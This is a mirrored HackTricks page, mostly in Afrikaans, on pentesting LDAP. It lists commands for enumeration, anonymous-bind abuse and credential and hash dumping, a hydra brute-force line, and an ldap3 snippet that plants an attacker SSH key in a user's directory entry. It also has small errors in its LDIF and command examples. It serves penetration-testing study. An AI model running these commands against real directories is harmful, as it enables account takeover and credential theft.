Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-18 06:58:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-ldap.md

391 lines
17 KiB
Markdown
Raw Blame History

# 389, 636, 3268, 3269 - Pentesting LDAP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Die gebruik van **LDAP** (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê.
LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n **geïmpliseerde** en **gesinkroniseerde** weergawe van die gids huisves, bekend as 'n Directory System Agent (DSA). Die verantwoordelikheid vir die hantering van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSA's kan kommunikeer soos nodig om 'n verenigde antwoord aan die versoeker te lewer.
Die organisasie van die LDAP-gids herinner aan 'n **boomhiërargie, wat met die wortelgids aan die bokant begin**. Dit takke af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskillende afdelings of departemente verteenwoordig, en uiteindelik die vlak van individuele entiteite bereik, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers.
**Standaardpoort:** 389 en 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268, en 3269 vir LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke verteenwoordig (Voeg by, Wysig, Verwyder, Hernoem).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Lynne 1-3 definieer die topvlak domein lokaal
* Lynne 5-8 definieer die eerste vlak domein moneycorp (moneycorp.local)
* Lynne 10-16 definieer 2 organisatoriese eenhede: dev en sales
* Lynne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe
## Skryf data
Let daarop dat as jy waardes kan wysig, jy werklik interessante aksies kan uitvoer. Byvoorbeeld, stel jou voor dat jy **die "sshPublicKey" inligting** van jou gebruiker of enige gebruiker kan verander. Dit is hoogs waarskynlik dat as hierdie eienskap bestaan, dan **lees ssh die publieke sleutels van LDAP**. As jy die publieke sleutel van 'n gebruiker kan wysig, **sal jy in staat wees om as daardie gebruiker aan te meld, selfs al is wagwoordverifikasie nie in ssh geaktiveer nie**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Sniff clear text credentials
As LDAP sonder SSL gebruik word, kan jy **akkurate inligting in duidelike teks** in die netwerk snuffel.
Ook, jy kan 'n **MITM** aanval in die netwerk **tussen die LDAP bediener en die kliënt** uitvoer. Hier kan jy 'n **Downgrade Attack** maak sodat die kliënt die **akkurate inligting in duidelike teks** gebruik om aan te meld.
**As SSL gebruik word** kan jy probeer om **MITM** te maak soos hierbo genoem, maar deur 'n **valse sertifikaat** aan te bied. As die **gebruiker dit aanvaar**, kan jy die verifikasietegniek verlaag en die akkuraatheid weer sien.
## Anonymous Access
### Bypass TLS SNI check
Volgens [**hierdie skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) kon hy net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP anonieme bindings
[LDAP anonieme bindings](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) laat **onaangetekende aanvallers** toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n **erfgename konfigurasie**, en vanaf Windows Server 2003, mag slegs aangetekende gebruikers LDAP versoeke inisieer.\
Tog mag admins nodig gehad het om **'n spesifieke toepassing op te stel om anonieme bindings toe te laat** en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gee.
## Geldige Kredensiale
As jy geldige kredensiale het om in te log op die LDAP bediener, kan jy al die inligting oor die Domein Admin dump met:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## Enumeration
### Automated
Deur dit te gebruik, sal jy in staat wees om die **publieke inligting** (soos die domeinnaam)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
### Python
<details>
<summary>Bekijk LDAP-opname met python</summary>
Jy kan probeer om **'n LDAP te enumereer met of sonder geloofsbriewe met python**: `pip3 install ldap3`
Probeer eers om **te verbind sonder** geloofsbriewe:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
As die antwoord `True` is soos in die vorige voorbeeld, kan jy 'n paar **interessante data** van die LDAP (soos die **naam konteks** of **domeinnaam**) bediener verkry van:
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Eens jy die naamgewing konteks het, kan jy 'n paar meer opwindende navrae maak. Hierdie eenvoudige navraag behoort al die objekte in die gids aan te dui:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Of **dump** die hele ldap:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
</details>
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) is 'n Python-skrip wat nuttig is om **gebruikers, groepe en rekenaars uit 'n Windows** domein te **enumerate** deur gebruik te maak van LDAP-vrae.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch
Kontroleer nul geloofsbriewe of of jou geloofsbriewe geldig is:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
As jy iets vind wat sê dat die "_bind moet voltooi word_" beteken dat die akrediteerbesonderhede verkeerd is.
Jy kan **alles van 'n domein** onttrek met:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Haal **gebruikers** uit:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extract **rekenaars**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Haal **my info** uit:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Domein Administrateurs**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Domeingebruikers**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Administrators**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extract **Afgeleë Desktop Groep**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Om te sien of jy toegang het tot enige wagwoord, kan jy grep gebruik nadat jy een van die navrae uitgevoer het:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Let asseblief op dat die wagwoorde wat jy hier kan vind dalk nie die werklike is nie...
#### pbis
Jy kan **pbis** hier aflaai: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) en dit word gewoonlik geïnstalleer in `/opt/pbis`.\
**Pbis** laat jou toe om basiese inligting maklik te verkry:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## Grafiese Koppelvlak
### Apache Directory
[**Laai Apache Directory hier af**](https://directory.apache.org/studio/download/download-linux.html). Jy kan 'n [voorbeeld van hoe om hierdie hulpmiddel te gebruik hier vind](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
### jxplorer
Jy kan 'n grafiese koppelvlak met LDAP-bediener hier aflaai: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Standaard is dit geïnstalleer in: _/opt/jxplorer_
![](<../.gitbook/assets/image (482).png>)
### Godap
Jy kan dit toegang in [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
## Verifikasie via kerberos
Met `ldapsearch` kan jy **verifieer** teen **kerberos in plaas van** via **NTLM** deur die parameter `-Y GSSAPI` te gebruik.
## POST
As jy toegang kan verkry tot die lêers waar die databasisse bevat is (kan wees in _/var/lib/ldap_). Jy kan die hashes onttrek met:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
### Konfigurasie Lêers
* Algemeen
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 bediener
* V3.sas.oc
* Microsoft Active Directory bediener
* msadClassesAttrs.ldif
* Netscape Directory Server 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP directory server
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
* 75sas.ldif
## HackTricks Outomatiese Opdragte
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Reference in a new issue View git blame Copy permalink